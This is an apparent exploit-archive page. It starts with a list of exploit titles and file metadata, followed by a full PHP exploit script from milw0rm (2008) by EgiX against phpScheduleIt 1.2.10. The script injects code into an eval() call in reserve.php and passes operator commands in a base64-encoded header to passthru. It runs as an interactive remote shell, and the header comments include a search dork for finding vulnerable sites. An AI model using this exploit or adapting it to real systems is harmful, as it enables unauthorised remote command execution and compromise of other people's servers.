477bcbdcc0
5 new exploits phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerability Exploit phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerabilities My Book World Edition NAS Multiple Vulnerability My Book World Edition NAS - Multiple Vulnerabilities Katalog Stron Hurricane 1.3.5 - Multiple Vulnerability RFI / SQL Katalog Stron Hurricane 1.3.5 - (RFI / SQL) Multiple Vulnerabilities cmsfaethon-2.2.0-ultimate.7z Multiple Vulnerability cmsfaethon-2.2.0-ultimate.7z - Multiple Vulnerabilities DynPG CMS 4.1.0 - Multiple Vulnerability (popup.php and counter.php) DynPG CMS 4.1.0 - (popup.php and counter.php) Multiple Vulnerabilities Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerability Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerabilities N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability N/X - Web CMS (N/X WCMS 4.5) - Multiple Vulnerabilities New-CMS - Multiple Vulnerability New-CMS - Multiple Vulnerabilities Edgephp Clickbank Affiliate Marketplace Script Multiple Vulnerability Edgephp Clickbank Affiliate Marketplace Script - Multiple Vulnerabilities JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerability JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerabilities i-Gallery - Multiple Vulnerability i-Gallery - Multiple Vulnerabilities My Kazaam Notes Management System Multiple Vulnerability My Kazaam Notes Management System - Multiple Vulnerabilities Omnidocs - Multiple Vulnerability Omnidocs - Multiple Vulnerabilities Web Cookbook Multiple Vulnerability Web Cookbook - Multiple Vulnerabilities KikChat - (LFI/RCE) Multiple Vulnerability KikChat - (LFI/RCE) Multiple Vulnerabilities Webformatique Reservation Manager - 'index.php' Cross-Site Scripting Vulnerability Webformatique Reservation Manager 2.4 - 'index.php' Cross-Site Scripting Vulnerability xEpan 1.0.4 - Multiple Vulnerability xEpan 1.0.4 - Multiple Vulnerabilities AKIPS Network Monitor 15.37 through 16.5 - OS Command Injection Netwrix Auditor 7.1.322.0 - ActiveX (sourceFile) Stack Buffer Overflow Cisco UCS Manager 2.1(1b) - Shellshock Exploit OpenSSH <= 7.2p1 - xauth Injection FreeBSD 10.2 amd64 Kernel - amd64_set_ldt Heap Overflow
107 lines
3.3 KiB
PHP
Executable file
107 lines
3.3 KiB
PHP
Executable file
<?php
|
|
|
|
/*
|
|
-------------------------------------------------------------------
|
|
phpScheduleIt <= 1.2.10 (reserve.php) Remote Code Execution Exploit
|
|
-------------------------------------------------------------------
|
|
|
|
author...: EgiX
|
|
mail.....: n0b0d13s[at]gmail[dot]com
|
|
|
|
link.....: http://phpscheduleit.sourceforge.net/
|
|
dork.....: inurl:roschedule.php
|
|
details..: works with magic_quotes_gpc = off
|
|
|
|
[-] vulnerable code in /reserve.php
|
|
|
|
51. if (isset($_POST['btnSubmit']) && strstr($_SERVER['HTTP_REFERER'], $_SERVER['PHP_SELF'])) {
|
|
52. $t->set_title(translate("Processing $Class"));
|
|
53. $t->printHTMLHeader();
|
|
54. $t->startMain();
|
|
55.
|
|
56. process_reservation($_POST['fn']);
|
|
57. }
|
|
58. else {
|
|
59. $res_info = getResInfo();
|
|
60. $t->set_title($res_info['title']);
|
|
61. $t->printHTMLHeader();
|
|
62. $t->startMain();
|
|
63. present_reservation($res_info['resid']);
|
|
64. }
|
|
|
|
[...]
|
|
|
|
79. function process_reservation($fn) {
|
|
80. $success = false;
|
|
81. global $Class;
|
|
82. $is_pending = (isset($_POST['pending']) && $_POST['pending']);
|
|
83.
|
|
84. if (isset($_POST['start_date'])) { // Parse the POST-ed starting and ending dates
|
|
85. $start_date = eval('return mktime(0,0,0, \'' . str_replace(INTERNAL_DATE_SEPERATOR, '\',\'', $_POST['start_date']) . '\');');
|
|
86. $end_date = eval('return mktime(0,0,0, \'' . str_replace(INTERNAL_DATE_SEPERATOR, '\',\'', $_POST['end_date']) . '\');');
|
|
87. }
|
|
|
|
An attacker might be able to inject and execute PHP code through $_POST['start_date'], that is passed to eval() at line 85
|
|
*/
|
|
|
|
error_reporting(0);
|
|
set_time_limit(0);
|
|
ini_set("default_socket_timeout", 5);
|
|
|
|
define(STDIN, fopen("php://stdin", "r"));
|
|
|
|
function http_send($host, $packet)
|
|
{
|
|
$sock = fsockopen($host, 80);
|
|
while (!$sock)
|
|
{
|
|
print "\n[-] No response from {$host}:80 Trying again...";
|
|
$sock = fsockopen($host, 80);
|
|
}
|
|
fputs($sock, $packet);
|
|
while (!feof($sock)) $resp .= fread($sock, 1024);
|
|
fclose($sock);
|
|
return $resp;
|
|
}
|
|
|
|
print "\n+---------------------------------------------------------------+";
|
|
print "\n| phpScheduleIt <= 1.2.10 Remote Code Execution Exploit by EgiX |";
|
|
print "\n+---------------------------------------------------------------+\n";
|
|
|
|
if ($argc < 3)
|
|
{
|
|
print "\nUsage......: php $argv[0] host path\n";
|
|
print "\nExample....: php $argv[0] localhost /";
|
|
print "\nExample....: php $argv[0] localhost /phpscheduleit/\n";
|
|
die();
|
|
}
|
|
|
|
$host = $argv[1];
|
|
$path = $argv[2];
|
|
|
|
$payload = "btnSubmit=1&start_date=1').\${print(_code_)}.\${passthru(base64_decode(\$_SERVER[HTTP_CMD]))}.\${die};%%23";
|
|
$packet = "POST {$path}reserve.php HTTP/1.0\r\n";
|
|
$packet .= "Host: {$host}\r\n";
|
|
$packet .= "Referer: {$path}reserve.php\r\n";
|
|
$packet .= "Cmd: %s\r\n";
|
|
$packet .= "Content-Length: ".(strlen($payload)-1)."\r\n";
|
|
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
|
|
$packet .= "Connection: close\r\n\r\n";
|
|
$packet .= $payload;
|
|
|
|
while(1)
|
|
{
|
|
print "\nphpscheduleit-shell# ";
|
|
$cmd = trim(fgets(STDIN));
|
|
if ($cmd != "exit")
|
|
{
|
|
$html = http_send($host, sprintf($packet, base64_encode($cmd)));
|
|
$shell = explode("_code_", $html);
|
|
preg_match("/_code_/", $html) ? print "\n{$shell[1]}" : die("\n[-] Exploit failed...\n");
|
|
}
|
|
else break;
|
|
}
|
|
|
|
?>
|
|
|
|
# milw0rm.com [2008-10-01]
|